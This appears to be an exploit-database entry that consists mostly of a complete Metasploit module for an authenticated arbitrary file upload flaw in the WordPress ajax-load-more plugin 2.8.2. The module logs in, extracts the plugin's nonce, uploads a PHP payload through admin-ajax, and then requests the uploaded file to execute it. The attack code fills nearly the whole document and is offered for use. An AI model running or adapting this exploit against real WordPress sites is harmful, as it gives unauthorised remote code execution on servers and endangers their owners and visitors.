Wordpress ajax-load-more Authenticated Arbitrary2.8.2 File Upload Vulnerability

Published
Credit
Risk
2015.11.19
4TT4CK3R
High
CWE
CVE
Local
Remote
N/A
N/A
No
Yes

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~# : Exploit Title : Wordpress ajax-load-more Authenticated Arbitrary2.8.2 File Upload Vulnerability
~# : Exploit Author : 4TT4CK3R
~# : Date : 2015/11/19
~# : Tested on : Kali linux , Mozilla firefox , Windows 8.1
~# : Google Dork : No
~# : Version : 2.8.2
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~# : This Exploit is a metasploit module that you need to Metasploit
~# : Website for download metasploit : http://www.metasploit.com/download

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~# : Module :

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress

def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Plugin ajax-load-more Authenticated Arbitrary2.8.2 File Upload Vulnerability',
'Description' => %q{
one of WordPress plugins called ajax-load-more Authenticated Arbitrary have File Uploading vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'4TT4CK3R <MyGmail[A]gmail[.]com',
],
'References' =>
[
['WPVDB', '8209']
],
'DisclosureDate' => 'Oct 02 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['ajax-load-more', {}]],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('WP_USER', [true, 'A valid wordpress username', nil]),
OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
], self.class)
end

def user
datastore['WP_USER']
end

def password
datastore['WP_PASSWORD']
end

def check
# Checking version of plugi
ver = check_plugin_version_from_readme('ajax-load-more, 2.8.2')
if ver
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

def exploit
# Wordpress login
print_status("#{peer} - Trying to login as #{user}")
cookie = wordpress_login(user, password)
if cookie.nil?
print_error("#{peer} - Unable to login as #{user}")
return
end

url = normalize_uri(wordpress_url_backend, 'profile.php')
print_status("#{peer} - Retrieving WP nonce from #{url}")
res = send_request_cgi({
'method' => 'GET',
'uri' => url,
'cookie' => cookie
})

if res and res.code == 200
# "alm_admin_nonce":"e58b6d536d"
res.body =~ /"alm_admin_nonce":"([0-9a-f]+)"/
wp_nonce = $1
if wp_nonce
print_good("#{peer} Found ajax-load-more wp_nonce value : #{wp_nonce}")
else
vprint_error("#{peer} #{res.body}")
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve wp_nonce from user profile page.")
end
else
fail_with(Failure::Unknown, "#{peer} - Unexpected server response (code #{res.code}) while accessing user profile page.")
end

print_status("#{peer} - Trying for upalod payload")

# Generate MIME message
data = Rex::MIME::Message.new
data.add_part('alm_save_repeater', nil, nil, 'form-data; name="action"')
data.add_part(wp_nonce, nil, nil, 'form-data; name="nonce"')
data.add_part('default', nil, nil, 'form-data; name="type"')
data.add_part("#{rand_text_alpha_lower(3)}", nil, nil, 'form-data; name="repeater"')
data.add_part(payload.encoded, nil, nil, 'form-data; name="value"')

print_status("#{peer} - Uploading ...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_admin_ajax),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie
})

filename = 'default.php'
if res
if res.code == 200
lines = res.body.split("\n")
if lines.length > 0
message = lines[lines.length - 1]
if message.include?('Saved Successfully')
register_files_for_cleanup(filename)
else
vprint_error("#{peer} - Unexpected web page content : #{message}")
end
else
fail_with(Failure::Unknown, "#{peer} - Unexpected empty server response")
end
else
fail_with(Failure::Unknown, "#{peer} - Unexpected HTTP response code : #{res.code}")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end

print_status("#{peer} - Calling uploaded file #{filename}")
send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
)
end
end

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~# : Discovered by : 4TT4CK3R
~# : This exploit discoverd 2 month ago but today registered !!!
~# : Special thanks for : Sina Sadrifar , Atefe Mohammadlou , Mahdieh Saboor , Raziyeh Zeinali !!!

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